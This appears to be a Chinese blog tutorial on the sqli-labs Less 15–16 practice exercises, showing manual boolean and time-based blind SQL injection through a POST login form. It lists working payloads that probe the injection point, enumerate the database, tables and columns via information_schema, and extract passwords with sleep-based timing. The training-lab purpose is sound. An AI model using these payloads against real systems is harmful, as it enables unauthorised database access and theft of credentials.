（手工）【sqli-labs15-16】POST注入：布尔/时间盲注

目录

推荐：

一、（手工）SQL注入基本步骤：

二、Less15（POST-Blind -Boolian/Time Based - Single Quotes）

2.1、简介：（布尔/时间盲注-单引号）

2.2、第一步：注入点测试

布尔型注入

2.3、第二步：猜数据库名长度

 2.4、第三步：猜数据库名（ASCII码）

2.5、第四步：猜表名

2.6、第五步：猜字段名

 2.7、第六步：猜数据

时间盲注：

2.3、第二步：猜数据库名长度

2.4、基本操作

三、Less16（POST-Blind -Boolian/Time Based - Double Quotes）

2.1、简介：（布尔/时间盲注-双引号-反括号）

---

推荐：

【SQL注入-有回显】DNS请求注入：原理、平台、使用过程、配置https://blog.csdn.net/qq_53079406/article/details/125285625?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165719814516782246440800%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165719814516782246440800&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125285625-null-null.185^v2^control&utm_term=DNS&spm=1018.2226.3001.4450【SQL注入-无回显】时间盲注：原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165719829016781683968225%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165719829016781683968225&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-125096394-null-null.185^v2^control&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450【SQL注入-无回显】布尔盲注：原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165719829016781683968225%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165719829016781683968225&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-3-125275974-null-null.185^v2^control&utm_term=%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

 

---

---

一、（手工）SQL注入基本步骤：

第一步：注入点测试

第二步：猜数据库名长度

第三步：猜数据库名（ASCII）

第四步：猜表名长

第五步：猜表名

第六步：猜字段名长

第七步：猜字段名

第八步：猜数据长

第九步：猜数据

---

---

二、Less15（POST-Blind -Boolian/Time Based - Single Quotes）

2.1、简介：（布尔/时间盲注-单引号）

请求方法：POST

方法：布尔/时间布尔盲注

2.2、第一步：注入点测试

1 or 1=1#
1' or 1=1#
1" or 1=1#
1') or 1=1#
1") or 1=1#

 测试1' or 1=1#时

 测试其他的时候

 

存在SQL盲注，且有2种状态，对错

且为bool型单引号闭合盲注（也可以用时间盲注）

---

---

布尔型注入

2.3、第二步：猜数据库名长度

admin' and (length(database()))>7#

为对

 

admin' and (length(database()))>8#

为错

 

所以 当前数据库名称长度为：8

 2.4、第三步：猜数据库名（ASCII码）

admin' and ascii(substr(database(),1,1))>100#

为对

 

admin' and ascii(substr(database(),1,1))<150#

为对

 在100-150之间

 二分法，一直从中间分下去，直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名

2.5、第四步：猜表名

admin' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#

为对

 

admin' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<150#

为对

 值在100-150之间

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个表名

2.6、第五步：猜字段名

admin' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>40#

为对

 

admin' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))<80#

为对

 值在40-80之间

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名

 2.7、第六步：猜数据

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名

---

---

时间盲注：

2.3、第二步：猜数据库名长度

admin' and if(length(database())>7, sleep(5),0)#

判断正确，转了5s

admin' and if(length(database())>8, sleep(5),0)#

判断错误，未转

 

 所以当前数据库名称长度为：8

2.4、基本操作

暴库

admin' and if(ascii(substr(database(),1,1))>100, 0, sleep(5))#

---

暴表

admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))#

---

暴字段

admin' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))#

---

暴数据

admin' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))#

---

三、Less16（POST-Blind -Boolian/Time Based - Double Quotes）

2.1、简介：（布尔/时间盲注-双引号-反括号）

请求方法：POST

方法：布尔/时间盲注

 方法和Less15一样